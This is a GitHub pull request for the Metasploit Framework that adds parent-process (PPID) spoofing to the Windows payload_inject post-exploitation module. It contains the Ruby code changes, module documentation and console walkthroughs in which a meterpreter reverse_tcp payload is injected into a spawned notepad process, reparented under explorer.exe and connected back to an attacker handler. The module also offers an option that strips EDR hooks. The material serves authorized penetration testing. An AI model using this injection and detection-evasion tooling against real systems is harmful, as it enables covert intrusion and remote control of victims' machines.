Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for PPID spoofing #12736

Merged
merged 12 commits into from
Jan 24, 2020
4 changes: 2 additions & 2 deletions Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.83)
metasploit-payloads (= 1.3.84)
metasploit_data_models (= 3.0.10)
metasploit_payloads-mettle (= 0.5.16)
mqtt
Expand Down Expand Up @@ -207,7 +207,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.83)
metasploit-payloads (1.3.84)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
Expand Down
238 changes: 238 additions & 0 deletions documentation/modules/exploit/windows/local/payload_inject.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,238 @@
## Description

This module leverages the reflective ddl injection technique to spawn a payload thread in the memory of another running process.
To inject into the memory of another process, the meterpreter session must have the required permissions to allocate memory
and create a remote thread in the process. The architecture of the payload must match the architecture of the process into
which it is injected. If no process is specified, the module will launch a notepad process matching the architecture of the
selected payload then inject into it.

## Side-Effects
The `PPID` option can crash certain processes when used. To use the PPID feature, the meterpreter session must have permission to
access the process identified by the `PPID` and the process may also have attributes that limit the ability to use it as a `PPID`. Certain
Windows Metro apps like Calc or Edge will crash if you try and use them as the `PPID`.

## Options
```
msf5 exploit(windows/local/payload_inject) > show options

Module options (exploit/windows/local/payload_inject):

Name Current Setting Required Description
---- --------------- -------- -----------
AUTOUNHOOK false no Auto remove EDRs hooks
PID 0 no Process Identifier to inject of process to inject payload. 0=New Process
PPID 3632 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
SESSION 1 yes The session to run this module on.
WAIT_UNHOOK 5 yes Seconds to wait for unhook to be executed
```

## Vulnerable Target

This module only works on Windows hosts.

## Usage
1. Create a meterpreter session on the remote host
2. Begin interacting with the module: `use exploit/windows/local/payload_inject`.
3. Set the `PAYLOAD` and configure it correctly.
4. If an existing handler is configured to receive the elevated session, then the module's
handler should be disabled: `set DisablePayloadHandler true`.
Make sure that the `SESSION` value is set to the existing session identifier.
6. Invoke the module: `run`.

## Scenarios
### Windows 10x64 Build 17134 No PID
```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.135.168:5555
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 1 opened (192.168.135.168:5555 -> 192.168.132.125:49673) at 2020-01-22 13:10:13 -0600
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used

meterpreter > sysinfo
Computer : DESKTOP-D1E425Q
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf5 exploit(windows/local/payload_inject) > show options

Module options (exploit/windows/local/payload_inject):

Name Current Setting Required Description
---- --------------- -------- -----------
AUTOUNHOOK false no Auto remove EDRs hooks
PID 0 no Process Identifier to inject of process to inject payload. 0=New Process
PPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
SESSION yes The session to run this module on.
WAIT_UNHOOK 5 yes Seconds to wait for unhook to be executed


Exploit target:

Id Name
-- ----
0 Windows


msf5 exploit(windows/local/payload_inject) > set session 1
session => 1
msf5 exploit(windows/local/payload_inject) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/payload_inject) > set lhost 192.168.135.168
lhost => 192.168.135.168
msf5 exploit(windows/local/payload_inject) > show options

Module options (exploit/windows/local/payload_inject):

Name Current Setting Required Description
---- --------------- -------- -----------
AUTOUNHOOK false no Auto remove EDRs hooks
PID 0 no Process Identifier to inject of process to inject payload. 0=New Process
PPID 0 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
SESSION 1 yes The session to run this module on.
WAIT_UNHOOK 5 yes Seconds to wait for unhook to be executed


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Windows


msf5 exploit(windows/local/payload_inject) > run

[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Running module against DESKTOP-D1E425Q
[*] Spawned Notepad process 684
[*] Injecting payload into 684
[*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 684
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 2 opened (192.168.135.168:4444 -> 192.168.132.125:49676) at 2020-01-22 13:12:07 -0600

meterpreter > ps

Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
88 4 Registry
.
.
.
684 7524 notepad.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Windows\System32\notepad.exe
.
.
.
7524 3632 revtcpx64.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Users\msfuser\Desktop\revtcpx64.exe
7532 4772 chrome.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
7876 780 WmiPrvSE.exe
7904 780 WmiPrvSE.exe
8000 584 svchost.exe
8036 584 svchost.exe

meterpreter > getpid
Current pid: 684
meterpreter >

```

### Windows 10x64 Build 17134 No PID
```
msf5 exploit(windows/local/payload_inject) > set PPID 3632
PPID => 3632
msf5 exploit(windows/local/payload_inject) > show options

Module options (exploit/windows/local/payload_inject):

Name Current Setting Required Description
---- --------------- -------- -----------
AUTOUNHOOK false no Auto remove EDRs hooks
PID 0 no Process Identifier to inject of process to inject payload. 0=New Process
PPID 3632 no Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)
SESSION 1 yes The session to run this module on.
WAIT_UNHOOK 5 yes Seconds to wait for unhook to be executed


Payload options (windows/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.168 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Windows


msf5 exploit(windows/local/payload_inject) > run

[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Running module against DESKTOP-D1E425Q
[*] Spawned Notepad process 1528
[*] Spoofing PPID 3632
[*] Injecting payload into 1528
[*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 1528
[*] Sending stage (206403 bytes) to 192.168.132.125
[*] Meterpreter session 3 opened (192.168.135.168:4444 -> 192.168.132.125:49677) at 2020-01-22 13:16:31 -0600

meterpreter > getpid
Current pid: 1528
meterpreter > ps

Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
88 4 Registry
.
.
.
1528 3632 notepad.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Windows\System32\notepad.exe
.
.
.
3632 3452 explorer.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Windows\explorer.exe
.
.
.
7524 3632 revtcpx64.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Users\msfuser\Desktop\revtcpx64.exe
7532 4772 chrome.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
7904 780 WmiPrvSE.exe
7996 780 RuntimeBroker.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Windows\System32\RuntimeBroker.exe
8000 584 svchost.exe
8036 584 svchost.exe

meterpreter >


```
6 changes: 5 additions & 1 deletion lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb
Original file line number Diff line number Diff line change
Expand Up @@ -141,6 +141,11 @@ def Process.execute(path, arguments = nil, opts = nil)
if (opts['Subshell'])
flags |= PROCESS_EXECUTE_FLAG_SUBSHELL
end
if (opts['ParentPid'])
request.add_tlv(TLV_TYPE_PARENT_PID, opts['ParentPid']);
request.add_tlv(TLV_TYPE_PROCESS_PERMS, PROCESS_ALL_ACCESS)
request.add_tlv(TLV_TYPE_INHERIT, false)
end
inmem = opts['InMemory']
if inmem

Expand Down Expand Up @@ -424,4 +429,3 @@ def to_table(opts={})
end

end; end; end; end; end; end

2 changes: 1 addition & 1 deletion metasploit-framework.gemspec
Original file line number Diff line number Diff line change
Expand Up @@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.83'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.84'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.5.16'
# Needed by msfgui and other rpc components
Expand Down
18 changes: 17 additions & 1 deletion modules/exploits/windows/local/payload_inject.rb
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,7 @@ def initialize(info={})
register_options(
[
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]),
OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),
OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]),
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5])
])
Expand All @@ -62,12 +63,24 @@ def exploit
# syinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

if datastore['PPID'] != 0 and datastore['PID'] != 0
print_error("PID and PPID are mutually exclusive")
return false
end

proc = get_proc(datastore['PID'])
if not proc
print_error("Unable to get a proper PID")
return
end

if datastore['PPID'] != 0 and not has_pid?(datastore['PPID'])
print_error("Process #{datastore['PPID']} was not found")
return false
elsif datastore['PPID'] != 0
print_status("Spoofing PPID #{datastore['PPID']}")
end

unless arch_check(@payload_arch, proc.pid)
fail_with(Failure::BadConfig, "Mismatched payload/process architecture")
end
Expand All @@ -92,7 +105,10 @@ def get_proc(pid)
if pid == 0
notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch)
vprint_status("Starting #{notepad_pathname}")
proc = client.sys.process.execute(notepad_pathname, nil, {'Hidden' => datastore['HIDDEN']})
proc = client.sys.process.execute(notepad_pathname, nil, {
'Hidden' => datastore['HIDDEN'],
'ParentPid' => datastore['PPID']
})
if proc.nil?
print_bad("Failed to start notepad process")
else
Expand Down
Loading